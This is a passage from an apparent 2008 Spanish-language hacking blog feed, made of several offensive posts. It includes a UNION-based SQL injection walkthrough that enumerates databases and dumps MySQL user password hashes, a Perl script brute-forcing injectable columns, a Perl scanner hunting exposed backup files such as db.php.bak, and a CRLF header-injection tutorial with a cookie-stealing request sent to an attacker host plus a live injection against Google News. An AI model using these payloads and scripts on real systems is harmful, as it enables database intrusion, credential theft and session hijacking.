test).&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_name/**/NOT/**/IN/**/('CHARACTER_SETS')&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;information_schema&lt;/strong&gt;&lt;br /&gt;Nombre: 2&lt;br /&gt;Email: COLLATIONS&lt;br /&gt;&lt;br /&gt;ahora que si lo que queremos es saber cuales bases de datos existen:&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema')&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;mysql&lt;/strong&gt;&lt;br /&gt;Nombre: 2&lt;br /&gt;Email: db&lt;br /&gt;&lt;br /&gt;Bueno tenemos ya 2 bases de datos:&lt;br /&gt;mysql e information_schema, sigamos:&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql')&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;phpmyadmin&lt;/strong&gt;&lt;br /&gt;Nombre: 2&lt;br /&gt;Email: xianur0_bookmark&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql','phpmyadmin')&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;test&lt;/strong&gt;&lt;br /&gt;Nombre: 2&lt;br /&gt;Email: usuarios&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bueno ahí esta la tabla inicial y la DB inicial...&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql','phpmyadmin','test')&lt;br /&gt;&lt;br /&gt;Y ahora no nos devolverá nada (ya no hay base de datos), ahora vamos por columnas:&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;information_schema&lt;/strong&gt;&lt;br /&gt;Nombre: CHARACTER_SETS&lt;br /&gt;Email: CHARACTER_SET_NAME&lt;br /&gt;&lt;br /&gt;No es de gran utilidad esa informacion, pero si hacemos una sentencia mas exacta:&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;test&lt;/strong&gt;&lt;br /&gt;Nombre: usuarios&lt;br /&gt;Email: id&lt;br /&gt;&lt;br /&gt;Base de datos: test&lt;br /&gt;Tabla: usuarios&lt;br /&gt;Columna: id&lt;br /&gt;&lt;br /&gt;Esto funciona como queremos por que solo existe una tabla en nuestra base de datos test, pero si existiese mas de una tabla y queremos saber específicamente las columnas de la tabla usuarios:&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'/**/AND/**/TABLE_NAME/**/=/**/'usuarios'&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ahora saquemos la siguiente:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'/**/AND/**/TABLE_NAME/**/=/**/'usuarios'/**/AND/**/COLUMN_NAME/**/NOT/**/IN/**/('id')&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;test&lt;/strong&gt;&lt;br /&gt;Nombre: usuarios&lt;br /&gt;Email: nombre&lt;br /&gt;&lt;br /&gt;Yo se que hay mil y una forma de obtener este resultado, pero no iré a conceptos, simplemente hablare de la técnica.&lt;br /&gt;&lt;br /&gt;Ahora que para sacar las DB hay una forma mas facil (también basándose en el information_schema), esta otra forma es mediante la tabla schemata:&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME,DEFAULT_COLLATION_NAME/**/FROM/**/information_schema.schemata&lt;br /&gt;&lt;br /&gt;y bueno el resto ya lo saben..&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Busquen en google la estructura del information_schema o bien instalen el xampp (ese trae information_schema por default)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Ahora vamos con mysql&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Select_priv,Host/**/FROM/**/mysql.user&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;root��������������������������������������������&lt;/strong&gt;&lt;br /&gt;Nombre: Y&lt;br /&gt;Email: localhost&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;podríamos intentar sacar la password, pero no en todos los MySQL Funciona...&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Password,Host/**/FROM/**/mysql.user&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;xianur0&lt;br /&gt;&lt;/strong&gt;Nombre: *CEE870801502ACAD44FA46CA2CA4F58C2B721A67&lt;br /&gt;Email: localhost&lt;br /&gt;&lt;br /&gt;El password que obtuvimos (si es que lo permitió el MySQL) esta encriptado por la funcion password() de mysql (no dire en este texto como desencriptarlo).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Obtengamos información:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Db,Select_priv/**/FROM/**/mysql.db&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resultado:&lt;br /&gt;&lt;/span&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class="on down" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;strong&gt;pma&lt;/strong&gt;&lt;br /&gt;Nombre: mysql&lt;br /&gt;Email: N&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bueno hasta aquí dejare este texto, pero seguiré escribiendo algunas cosas útiles cuando tenga tiempo....&lt;br /&gt;&lt;br /&gt;By &lt;a href="http://xianur0.blogspot.com"&gt;Xianur0&lt;/a&gt;&lt;br /&gt;&lt;a href="http://xianur0.blogspot.com"&gt;http://xianur0.blogspot.com&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1044147844345302429?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1044147844345302429/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1044147844345302429' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1044147844345302429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1044147844345302429'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/09/testeando-mysql-mediante-bases-de-datos.html' title='Testeando MySQL Mediante Bases de Datos Default'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-8330104144329771661</id><published>2008-09-22T19:15:00.000-07:00</published><updated>2009-06-22T15:36:39.628-07:00</updated><title type='text'>Buscar Columna Vulnerable con Perl (SQL Injection)</title><content type='html'>#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;#By Xianur0&lt;br /&gt;#uxmal666@gmail.com&lt;br /&gt;#http://xianur0.blogspot.com/&lt;br /&gt;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;my $uri = $ARGV[0];&lt;br /&gt;$uri = shift || die("Uso: fuzzer.pl [URI a SQL Injection]\n");&lt;br /&gt;$ua-&amp;gt;agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16");&lt;br /&gt;my $inyeccion = "-10/**/UNION/**/SELECT/**/0";&lt;br /&gt;$uri = $uri.$inyeccion;&lt;br /&gt;print $uri;&lt;br /&gt;for($i=1; $i&amp;lt;1000;$i++) {&lt;br /&gt;$uri = "$uri,$i";&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $uri."/*");&lt;br /&gt;print $uri."/*\n";&lt;br /&gt;$req-&amp;gt;header('Accept' =&amp;gt; 'text/html');&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt; if($res-&amp;gt;content !~ "mysql_num_rows()") { die("Columna Encontrada: ".$uri."/*\n"); }&lt;br /&gt;} else {&lt;br /&gt;die("Servidor no responde Correctamente!\n");  }&lt;br /&gt; }&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-8330104144329771661?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/8330104144329771661/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=8330104144329771661' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8330104144329771661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8330104144329771661'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/09/buscar-columna-vulnerable-con-perl-sql.html' title='Buscar Columna Vulnerable con Perl (SQL Injection)'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-459737969263914609</id><published>2008-09-22T19:02:00.000-07:00</published><updated>2008-09-22T19:05:15.004-07:00</updated><title type='text'>Temp Searcher Perl</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Busca Archivos temporales mediante diccionario y mediante spider:...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;#!/usr/bin/perl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#Temp Searcher By Xianur0&lt;br /&gt;#uxmal666@gmail.com&lt;br /&gt;&lt;br /&gt;  use LWP::UserAgent;&lt;br /&gt;  use Term::ANSIColor qw(:constants);&lt;br /&gt;&lt;br /&gt;    $Term::ANSIColor::AUTORESET = 1;&lt;br /&gt;    $ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;    my $web = $ARGV[0];&lt;br /&gt;    $web = shift || &amp;uso;&lt;br /&gt;&lt;br /&gt;sub uso { print "Uso: temsearch.pl [url]\n"; exit;}&lt;br /&gt;$useragent = "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15";&lt;br /&gt;&amp;tempse;&lt;br /&gt;&amp;amp;spider();&lt;br /&gt;&lt;br /&gt;sub tempse {&lt;br /&gt;print RED "\nCargando Diccionario....\n";&lt;br /&gt;my $temp;&lt;br /&gt;open(TEMPS, "libs/temps.txt") || die "No existe la DB!\n";&lt;br /&gt;while($temp = &amp;lt;TEMPS&amp;gt;){&lt;br /&gt;chomp($temp);&lt;br /&gt;my @datas = split("/", $web);&lt;br /&gt;if($web =~ "http://") {&lt;br /&gt;$host = $datas[2];&lt;br /&gt;} else { $host = $datas[0];}&lt;br /&gt;$tempurl = "http://".$host."/".$temp;&lt;br /&gt;  $req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $tempurl);&lt;br /&gt;  $req-&amp;gt;header('Accept' =&amp;gt; 'text/html');&lt;br /&gt;  $res = $ua-&amp;gt;request($req);&lt;br /&gt;  if ($res-&amp;gt;is_success) {&lt;br /&gt;print "Temp Encontrado: ".$tempurl."\n";&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;print RED "\nEjecutando Spider.......\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub spider() {&lt;br /&gt;&lt;br /&gt;  my @nexo = ();&lt;br /&gt;  sub tags {&lt;br /&gt;     my($tag, %attr) = @_;&lt;br /&gt;     return if $tag ne 'a';&lt;br /&gt;     push(@nexo, values %attr);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  $p = HTML::LinkExtor-&amp;gt;new(\&amp;amp;tags);&lt;br /&gt;  $ua-&amp;gt;agent($useragent);&lt;br /&gt;  $res = $ua-&amp;gt;request(HTTP::Request-&amp;gt;new(GET =&amp;gt; $web),&lt;br /&gt;                      sub {$p-&amp;gt;parse($_[0])});&lt;br /&gt;  if(!$res-&amp;gt;is_success) { print YELLOW  "\nLa Web No Esta Respondiendo Correctamente!\n"; } else {&lt;br /&gt;  my $base = $res-&amp;gt;base;&lt;br /&gt;  @nexo = map { $_ = url($_, $base)-&amp;gt;abs; } @nexo;&lt;br /&gt;   foreach $url (@nexo) {&lt;br /&gt;my @dat = split("/", $url);&lt;br /&gt;if($dat[0] eq "") { $url = "http://".$host.$url;}&lt;br /&gt;  my @corregido = split(/\?/, $url);&lt;br /&gt;$urls= $corregido[0]."~\n";&lt;br /&gt;if(!$urll[$urls]) {&lt;br /&gt;$urll[$urls] = $urls;&lt;br /&gt;  $req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $urls);&lt;br /&gt;  $req-&amp;gt;header('Accept' =&amp;gt; 'text/html');&lt;br /&gt;  $res = $ua-&amp;gt;request($req);&lt;br /&gt;  if ($res-&amp;gt;is_success) {&lt;br /&gt;print "Temp Encontrado: ".$urls."\n";&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;spider($urls);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;El Diccionario (temps.txt):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;index.php~&lt;br /&gt;Settings.php~&lt;br /&gt;sql.php~&lt;br /&gt;sql.php.bak&lt;br /&gt;sql_bak.php~&lt;br /&gt;index.bak&lt;br /&gt;index.php.bak&lt;br /&gt;Settings.php.bak&lt;br /&gt;Settings_bak.php~&lt;br /&gt;db.php~&lt;br /&gt;db.php.bak&lt;br /&gt;db.bak&lt;br /&gt;db_bak.php~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-459737969263914609?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/459737969263914609/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=459737969263914609' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/459737969263914609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/459737969263914609'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/09/temp-searcher-perl.html' title='Temp Searcher Perl'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1552949887768817669</id><published>2008-09-10T17:00:00.000-07:00</published><updated>2008-09-10T19:17:03.401-07:00</updated><title type='text'>CRLF</title><content type='html'>&lt;b&gt;CR:&lt;/b&gt; retorno de carro.&lt;br /&gt;Carácter Hexadecimal: 0D.&lt;br /&gt;Carácter Decimal: 13.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;LF:&lt;/b&gt; Salto de Linea.&lt;br /&gt;Carácter Hexadecimal: 0A.&lt;br /&gt;Carácter Decimal: 10.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;CRLF:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Combinación de códigos de control (CR y LF) por la cual se crea una nueva linea.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Explicación Técnica:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Esta combinacion de codigos de control pueden ser usados para crear una nueva linea en metodos computacionales.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ejemplo:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'Location: '&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$_GET&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'page'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;Con ese codigo y la version PHP correcta podriamos crear un header adicional a base de  este:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.server.com/vulnerable.php?page=%0D%0ASet-Cookie" target="_blank"&gt;http://www.server.com/vulnerable.php?page=%0D%0ASet-Cookie&lt;/a&gt;: isadmin=yes&lt;br /&gt;&lt;br /&gt;Con esto la respuesta HTTP seria algo como esto:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;HTTP/1.1 302 Found&lt;br /&gt;Location:&lt;br /&gt;Set-Cookie: isadmin=yes&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;También podríamos usarlo para robar cookies:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;include(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'sessid.php'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$domain &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$_REQUEST&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'uri'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$id&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'Set-Cookie: domain='&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$domain&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'; SESSID='&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$id&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;GET http://www.server.com/vulnerable.php?exploit=%0D%0ALocation: http://www.atacante.com/cookies.php?cookie= HTTP/1.1&lt;br /&gt;Host: www.server.com&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;y la respuesta seria:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;HTTP/1.1 302 Found&lt;br /&gt;Set-Cookie: domain=&lt;br /&gt;Location: http://www.atacante.com/cookies.php?cookie=SESSID=datos&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;bueno esos son solo ejemplos de esta clase de ataques, ahora vamos a los ejemplos y ataquemos a google news:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;http://news.google.com.mx/news?xianur0%5B%0D%0AXianur0%15Was%10%10%15Here%15%43%4F%44%45%0D%0A%15%48%45%58%5D=%0D%0A&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;Y en el código fuente podremos encontrar:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;&amp;lt;input type=hidden name="xianur0[&lt;br /&gt;Xianur0 Was  Here CODE&lt;br /&gt;HEX]" value="&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;como verán hasta los %10 los interpreto &lt;img src="http://www.blogger.com/cl=" smileys="" default="" gif="" alt="Sonrisa" type="hidden" border="0" /&gt;.. aparentemente nada mas están filtradas las dobles comillas y los &amp;gt; y &amp;lt; (por el htmlentities que si valora el revisar caracteres hexadecimales).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Extencion de Contenido:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/15796662/46cf1a41/OWASP-MX_Injection.html"&gt;IMAP/SMTP Injection&lt;/a&gt; (Gracias a &lt;a href="http://inyexion.com.ar/"&gt;Inyexion&lt;/a&gt; por el link)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-1552949887768817669?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/1552949887768817669/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=1552949887768817669' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1552949887768817669'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/1552949887768817669'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/09/cr-retorno-de-carro.html' title='CRLF'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-7105754280244453559</id><published>2008-09-10T13:39:00.000-07:00</published><updated>2008-09-10T16:07:04.141-07:00</updated><title type='text'>Error de Manejo Hexadecimal en Google News</title><content type='html'>Error de Manejo de Caracteres Hexadecimales en Google News:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Link demostración CRLF:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://news.google.com.mx/news?xianur0%5B%0D%0AXianur0%15Was%10%10%15Here%15%43%4F%44%45%0D%0A%15%48%45%58%5D=%0D%0A"&gt;http://news.google.com.mx/news?xianur0[%0D%0AXianur0%15Was%10%10%15Here%15%43%4F%44%45%0D%0A%15%48%45%58]=%0D%0A&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre id="line89"&gt;&amp;lt;&lt;span class="start-tag"&gt;input&lt;/span&gt;&lt;span class="attribute-name"&gt; type&lt;/span&gt;=&lt;span class="attribute-value"&gt;hidden &lt;/span&gt;&lt;span class="attribute-name"&gt;name&lt;/span&gt;=&lt;span class="attribute-value"&gt;"xianur0[&lt;br /&gt;&lt;/span&gt;&lt;span class="attribute-value"&gt;Xianur0 Was  Here CODE&lt;/span&gt;&lt;span class="attribute-value"&gt;&lt;br /&gt;HEX&lt;/span&gt;&lt;span class="attribute-value"&gt;]" &lt;/span&gt;&lt;span class="attribute-name"&gt;value&lt;/span&gt;=&lt;span class="attribute-value"&gt;"&lt;/span&gt;&lt;span class="attribute-value"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Como podrán notar hasta los caracteres en hexadecimal los interpreto, y envió incluso los %10 (DLE).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-7105754280244453559?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/7105754280244453559/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=7105754280244453559' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7105754280244453559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7105754280244453559'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/09/error-de-manejo-hexadecimal-en-google.html' title='Error de Manejo Hexadecimal en Google News'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 